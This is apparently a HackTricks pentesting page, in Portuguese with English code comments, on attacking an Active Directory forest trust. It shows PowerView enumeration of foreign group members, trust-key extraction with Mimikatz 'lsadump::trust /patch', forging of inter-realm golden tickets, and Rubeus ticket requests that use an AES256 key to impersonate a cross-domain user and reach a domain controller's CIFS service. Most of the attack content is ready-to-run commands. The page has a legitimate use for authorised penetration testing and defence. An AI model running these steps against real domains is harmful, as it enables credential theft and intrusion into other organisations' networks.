hacktricks/windows-hardening/active-directory-methodology/external-forest-domain-oneway-inbound.md

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# Domínio Florestal Externo - Unidirecional (Entrada) ou bidirecional
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<details>
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</details>
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Neste cenário, um domínio externo está confiando em você (ou ambos estão confiando um no outro), então você pode obter algum tipo de acesso sobre ele.
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## Enumeração
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Antes de tudo, você precisa **enumerar** a **confiança**:
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```powershell
Get-DomainTrust
SourceName : a.domain.local --> Current domain
TargetName : domain.external --> Destination domain
TrustType : WINDOWS-ACTIVE_DIRECTORY
TrustAttributes :
TrustDirection : Inbound --> Inboud trust
WhenCreated : 2/19/2021 10:50:56 PM
WhenChanged : 2/19/2021 10:50:56 PM
# Get name of DC of the other domain
Get-DomainComputer -Domain domain.external -Properties DNSHostName
dnshostname
-----------
dc.domain.external
# Groups that contain users outside of its domain and return its members
Get-DomainForeignGroupMember -Domain domain.external
GroupDomain : domain.external
GroupName : Administrators
GroupDistinguishedName : CN=Administrators,CN=Builtin,DC=domain,DC=external
MemberDomain : domain.external
MemberName : S-1-5-21-3263068140-2042698922-2891547269-1133
MemberDistinguishedName : CN=S-1-5-21-3263068140-2042698922-2891547269-1133,CN=ForeignSecurityPrincipals,DC=domain,
DC=external
# Get name of the principal in the current domain member of the cross-domain group
ConvertFrom-SID S-1-5-21-3263068140-2042698922-2891547269-1133
DEV\External Admins
# Get members of the cros-domain group
Get-DomainGroupMember -Identity "External Admins" | select MemberName
MemberName
----------
crossuser
# Lets list groups members
## Check how the "External Admins" is part of the Administrators group in that DC
Get-NetLocalGroupMember -ComputerName dc.domain.external
ComputerName : dc.domain.external
GroupName : Administrators
MemberName : SUB\External Admins
SID : S-1-5-21-3263068140-2042698922-2891547269-1133
IsGroup : True
IsDomain : True
# You may also enumerate where foreign groups and/or users have been assigned
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# local admin access via Restricted Group by enumerating the GPOs in the foreign domain.
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```
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Na enumeração anterior, foi descoberto que o usuário **`crossuser`** está dentro do grupo **`External Admins`**, que tem acesso de **Administrador** dentro do **DC do domínio externo**.
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## Acesso Inicial
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Se você **não conseguiu** encontrar nenhum acesso **especial** do seu usuário no outro domínio, ainda é possível voltar para a Metodologia AD e tentar fazer **escalada de privilégios a partir de um usuário não privilegiado** (coisas como kerberoasting, por exemplo):
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Você pode usar as funções do **Powerview** para **enumerar** o **outro domínio** usando o parâmetro `-Domain`, como em:
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```powershell
Get-DomainUser -SPN -Domain domain_name.local | select SamAccountName
```
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## Impersonação
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### Fazendo login
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Usando um método regular com as credenciais do usuário que tem acesso ao domínio externo, você deve ser capaz de acessar:
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```powershell
Enter-PSSession -ComputerName dc.external_domain.local -Credential domain\administrator
```
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### Abuso do SID History
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Também é possível abusar do [**SID History**](sid-history-injection.md) em uma relação de confiança entre florestas.
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Se um usuário é migrado **de uma floresta para outra** e **o Filtro SID não está habilitado**, torna-se possível **adicionar um SID da outra floresta**, e este **SID** será **adicionado** ao **token do usuário** ao autenticar **através da relação de confiança**.
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{% hint style="warning" %}
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Como lembrete, você pode obter a chave de assinatura com
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```powershell
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Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.domain.local
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```
{% endhint %}
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Você poderia **assinar com** a chave **confiável** um **TGT se passando** pelo usuário do domínio atual.
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```bash
# Get a TGT for the cross-domain privileged user to the other domain
Invoke-Mimikatz -Command '"kerberos::golden /user:<username> /domain:<current domain> /SID:<current domain SID> /rc4:<trusted key> /target:<external.domain> /ticket:C:\path\save\ticket.kirbi"'
# Use this inter-realm TGT to request a TGS in the target domain to access the CIFS service of the DC
## We are asking to access CIFS of the external DC because in the enumeration we show the group was part of the local administrators group
Rubeus.exe asktgs /service:cifs/dc.doamin.external /domain:dc.domain.external /dc:dc.domain.external /ticket:C:\path\save\ticket.kirbi /nowrap
# Now you have a TGS to access the CIFS service of the domain controller
```
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### Caminho completo de impersonação do usuário
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```bash
# Get a TGT of the user with cross-domain permissions
Rubeus.exe asktgt /user:crossuser /domain:sub.domain.local /aes256:70a673fa756d60241bd74ca64498701dbb0ef9c5fa3a93fe4918910691647d80 /opsec /nowrap
# Get a TGT from the current domain for the target domain for the user
Rubeus.exe asktgs /service:krbtgt/domain.external /domain:sub.domain.local /dc:dc.sub.domain.local /ticket:doIFdD[...snip...]MuSU8= /nowrap
# Use this inter-realm TGT to request a TGS in the target domain to access the CIFS service of the DC
## We are asking to access CIFS of the external DC because in the enumeration we show the group was part of the local administrators group
Rubeus.exe asktgs /service:cifs/dc.doamin.external /domain:dc.domain.external /dc:dc.domain.external /ticket:doIFMT[...snip...]5BTA== /nowrap
# Now you have a TGS to access the CIFS service of the domain controller
```
<details>
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<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
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* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
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</details>